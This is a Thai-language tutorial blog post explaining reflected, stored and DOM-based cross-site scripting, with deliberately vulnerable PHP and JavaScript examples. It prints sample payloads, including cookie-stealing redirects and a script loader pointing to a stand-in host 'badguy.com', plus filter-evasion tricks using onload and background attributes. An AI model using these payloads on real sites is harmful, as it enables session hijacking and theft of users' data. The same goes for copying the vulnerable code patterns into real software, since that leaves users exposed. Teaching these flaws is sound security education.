การโจมตีและช่องโหว่ประเภท Cross-site Scripting (XSS)

application_javascriptCross-site Scripting ชื่อย่อว่า XSS เป็นชนิดของการช่องโหว่ที่ถูกจัดให้อยู่ในลำดับที่ 3 ของ OWASP TOP 10 2013 โดยเว็บแอปพลิเคชันที่มีช่องโหว่ประเภทนี้ อนุญาตให้ผู้ไม่หวังดีสามารถใส่ JavaScript ให้ทำงานภายใต้ domain ของเป้าหมาย ดังนั้น ผู้ไม่หวังดีสามารถใช้ XSS เพื่อขโมยข้อมูลของผู้ใช้งานคนอื่นได้ บทความนี้จะอธิบายรายละเอียดของสาเหตุของการเกิดช่องประเภทนี้

สาเหตุของช่องโหว่ XSS

XSS เกิดจากการที่เว็บแอปพลิเคชันมีช่องโหว่ที่ปล่อยให้ผู้ไม่หวังดีสามารถใส่ JavaScript ให้ทำงานภายใต้ domain เนื่องจาก JavaScript มีความสามารถในการเข้าถึง HTML DOM (Document Object Model) ทำให้ผู้ไม่หวังดีสามารถแทรก JavaScript เพื่อโจมตีได้ เช่น

  • ขโมยข้อมูลของผู้ใช้งานคนอื่น
  • เขียน JavaScript KeyLocker เพื่อใช้ดักจับ username และ password
  • Link ผู้ใช้งานไปยังเว็บไซต์ที่เป็นอันตราย
  • จัดการแก้ไขไฟล์ในเว็บเบราเซอร์ของผู้ใช้งาน

 

ประเภทของ XSS

แม้ว่า XSS จะมีลักษณะช่องโหว่ที่เหมือนกันนั่นคือการแทรก JavaScript ลงในเว็บแอปพลิเคชัน เราสามารถแบ่งลักษณะการโจมตีด้วย XSS ออกเป็น 3 ประเภทคือ

  • Reflected XSS การแทรก JavaScript โดยไม่เก็บ JavaScript ลงในฐานข้อมูล
  • Stored XSS การแทรก JavaScript ลงในฐานข้อมูลเพื่อให้เว็บแอปพลิเคชันเรียกซอร์สโคดขึ้นมาในภายหลัง
  • DOM-based XSS การแทรก JavaScript ลงใน JavaScript!

Reflected XSS

Reflect XSS เป็นชนิดของ XSS ที่พบได้บ่อยที่สุด (ส่วนมากในช่อง search) ของเว็บแอปพลิเคชัน หลักการคือผู้ใช้งานจะทำการส่ง JavaScript ผ่านทางช่องรับข้อมูล หรือ URL

ตัวอย่างซอร์สโคดที่มีช่องโหว่ XSS

<?php
        $keyword = $_GET['keyword'];

        echo "Search Keyword:". $keyword;

        doSomeSearch($keyword);
?>

ตัวอย่างด้านบนเป็นซอร์สโค้ด PHP ที่รับ keyword แบบ GET มาจาก URL เพื่อทำการค้นหาข้อมูล ซึ่งเป็นรูปแบบที่พบได้บ่อยตามเว็บไซต์ต่าง ๆ อย่างไรก็ตาม การที่เว็บแอปพลิเคชันทำการแสดง keyword ที่ได้รับมาจากผู้ใช้งานโดยไม่ได้ทำการตรวจสอบก่อนเป็นสาเหตุให้เกิดช่องโหว่ Reflected XSS

http://www.someweb.com/search.php?keyword=<script>window.location='http://www.badguy.com?victim_cookie=' + document.cookie;</script>

ผู้ไม่หวังดีสามารถสร้าง URL ดั่งตัวอย่างด้านบนแล้วส่งไปให้กับเหยื่อ เมื่อผู้ใช้งานที่ตกเป็นเหยื่อกด link ดังกล่าวเขาก็จะถูก redirect ไปเว็บไซต์ของผู้ไม่หวังดีพร้อมทั้งส่ง web cookie ไปด้วย

Screen Shot 2559-01-13 at 12.40.09 PM

Stored XSS

Stored XSS มีลักษณะแตกต่างกับ Reflexed XSS ตรงที่ ผู้ไม่หวังดีจะใส่ JavaScript ลงในฐานข้อมูลของเว็บแอปพลิเคชันเป้าหมาย และเมื่อผู้ใช้งานคนอื่นเข้ามาใช้งานเว็บแอปพลิเคชันที่มีช่องโหว่ก็จะได้รับ JavaScript ที่เป็นอันตรายจากเว็บแอปพลิเคชันที่ตกเป็นเหยื่อ Stored XSS พบได้บ่อยในกระดานสนธนา (webboard หรือ forum) โดย attacker จะทำการแทรก JavaScript เพื่อตอบกระทู้ เมื่อผู้ใช้งานคนอื่นกดดูกระทู้เบราเซอร์ก็จะทำการรัน JavaScript ในคำตอบที่ attacker ได้ใส่ไว้ อย่างไรก็ตาม เนื่องจากปัจจุบันเว็บแอปพลิเคชันส่วนใหญ่ได้หันมาใช้กระดานสนธนาสำเร็จรูป เช่น SMF ทำให้ช่องโหว่ประเภทนี้ลดน้อยลง

ตัวอย่าง Stored XSS

Screen Shot 2559-01-14 at 9.33.24 AM

จากตัวอย่างจะเห็นได้ว่า attacker ทำการบันทึก JavaScript ที่ใช้ในการส่งข้อมูลลับของผู้ใช้งาน (เช่น cookie) ไปให้กับเว็บไซต์ของตนเอง JavaScript ที่ถูกฝังอยู่ในฐานข้อมูลของเว็บไซต์ที่มีช่องโหว่จะถูกส่งไปให้กับผู้ใช้งานเมื่อผู้ใช้งานเรียกดูข้อมูล (เช่น กระทู้) ที่ attacker ได้ฝังซอร์สโค้ดไว้

วิธีการฝัง JavaScript ลงในฐานข้อมูล

จุดมุ่งหมายของ XSS คือการทำให้ผู้ใช้งานคนอื่นที่ตกเป็นเหยื่อทำการเรียกใช้ JavaScript ที่ฝังไว้ ดังนั้น attacker จะหาทางในการฝัง JavaScript ด้วย tag ต่าง ๆ เช่น tag <script></script>

<script src=http://badguy.com/xss.js></script>

<script>window.location="http://badguy.com?cookie=" + document.cookie</script>

หลายเว็บไซต์พยายามป้องกัน XSS ด้วยการกรอง tag <script></script> ออกจากข้อมูลที่ได้รับมาจากผู้ใช้งาน อย่างไรก็ตาม ยังมีอีกหลายวิธีการที่ใช้ในการเรียกฝัง JavaScript โดยไม่จำเป็นต้องใช้ tag <script></script> เช่น attacker สามารถใส่ tag <body onload> เพื่อเรียกใช้ JavaScript ได้

<body onload=alert("XSS")>

<body background="javascript:alert("XSS")">

หรือ tag <table background> ในการเรียกใช้ JavaScript ก็สามารถทำได้

<table background="javascript:alert('XSS')">

<td background="javascript:alert('XSS')">

DOM-based XSS

DOM-based XSS เป็นช่องโหว่ XSS ที่ตรวจสอบพบได้ยากกว่า Reflected XSS และ Stored XSS เนื่องจาก DOM-based XSS นั้นไม่จำเป็นต้องพึ่งพา back-end ในการแสดงผล JavaScript ให้กับผู้ใช้งาน

ทบทวน Document Object Model และ JavaScript

เมื่อเว็บเบราเซอร์ทำการโหลด HTML ของ webpage สำเร็จ ก็จะสร้างสิ่งที่เรียกว่า Document Object Model (DOM) ขึ้นโดย โดยเปรียบเสมือน Object ของเอกสารในหน้านั้น ๆ โดย JavaScript มีความสามารถในการแก้ไข Object ใน HTML DOM ได้ สนใจอ่านเพิ่มเติมเกี่ยวกับ JavaScript HTML DOM

เมื่อ JavaScript สามารแก้ไขหน้า HTML ได้ หากมีช่องโหว่ใน JavaScript ที่ทำให้ผู้ไม่หวังดีทำการใส่ JavaScript ได้จะถูกจัดเป็นช่องโหว่ประเภท DOM-based XSS

ตัวอย่าง DOM-based XSS

Welcome to our website
<script>
var pos=document.URL.indexOf("name=")+5;
var s = decodeURIComponent(document.URL.substring(pos,document.URL.length));
document.write(s);
</script>

ซอร์สโค้ดด้านบนเป็นตัวอย่างของเว็บไซต์ที่มีช่องโหว่ประเภท DOM-based XSS การทำงานคือ ผู้ใช้งานสามารถกรอก username ใส่เข้ามาเป็น parameter ของ URL แล้ว JavaScript จะทำการแสดงข้อความต้อนรับ

Screen Shot 2559-01-14 at 12.31.40 PM

ผู้ไม่หวังดีสามารถแทรก JavaScript ลงใน URL ได้โดยการเปลี่ยน URL เป็น

http://somesite.com/owasp/dom-xss.php?name=<script>alert(document.cookie)</script>

แล้วส่ง Link ด้านบนไปให้กับเหยื่อ แม้ว่าตัวอย่างจะเป็นการแค่แสดง alert box แต่ว่าในความเป็นจริง ผู้ไม่หวังดีสามารถแทรก JavaScript ที่มีความซับซ้อนมากกว่านี้เพื่อทำการขโมยข้อมูลของผู้ใช้งานได้

ข้อแตกต่างระหว่าง Reflected XSS และ DOM-based XSS

อ่านมาถึงตรงนี้หลายคนอาจจะเริ่มมีคำถามว่า Reflected XSS และ DOM-based XSS นั้นต่างกันอย่างไร เนื่องจากทั้งคู่มีลักษณะคล้ายกันคือ ผู้ไม่หวังดีส่ง link ที่มี JavaScript แทรกไปให้กับผู้ใช้งาน ข้อแตกต่างระหว่าง Reflected XSS และ DOM-based XSS นั้นคือ Reflected XSS นั้นใช้ back-end (เช่น PHP/Ruby/Python/Java) ในการแสดงผลข้อมูล JavaScript นในทางกลับกัน DOM-based XSS นั้นเป็นช่องโหว่ที่เกิดจาก JavaScript ในส่วนของ front-end ทั้งคู่สามารถสร้างความเสียหายได้พอกัน แต่ DOM-based XSS นั้นจะตรวจจับได้ยากกว่า Reflected XSS และ Stored XSS มากเนื่องจาก DOM-based XSS ไม่ได้ใช้งานในส่วนของ back-end เลย

Screen Shot 2559-01-14 at 12.51.19 PM

อย่างไรก็ตามปัจจุบันเว็บเบราเซอร์ส่วนใหญ่ได้มีการทำ encode URL ทำให้ช่องโหว่ประเภท DOM-based XSS เกิดขึ้นได้ยาก อย่างไรก็ตาม หากนักพัฒนาเว็บแอปพลิเคชันที่ดีไม่ควรพลักภาระการแก้ไขช่องโหว่ไปให้ผู้พัฒนาเว็บเบราเซอร์ อีกทั้งยังมีผู้ใช้งานบางกลุ่มที่ (โดยเฉพาะในองค์กรขนาดใหญ่) ยังคงใช้เว็บเบราเซอร์รุ่นเก่าที่มีช่องโหว่ DOM-based XSS นักพัฒนาเว็บแอปพลิเคชันที่ดีควรจะหมั่นตรวจสอบและป้องกันช่องโหว่ประเภท DOM-based XSS ให้ดี

ในบทความหน้าเราจะมาอธิบายกันถึงวิธีการป้องกันช่องโหว่ประเภท XSS รอติดตามกันต่อไปนะครับ

อ้างอิง

1. JavaScript HTML DOM

2. DOM-based Cross-Site Scripting (XSS) Explained

3. Cross-site Scripting (XSS) Attack

4. Cross-site Scripting (XSS)

5. DOM Based Cross Site Scripting or XSS of the Third Kind

 


Leave a Reply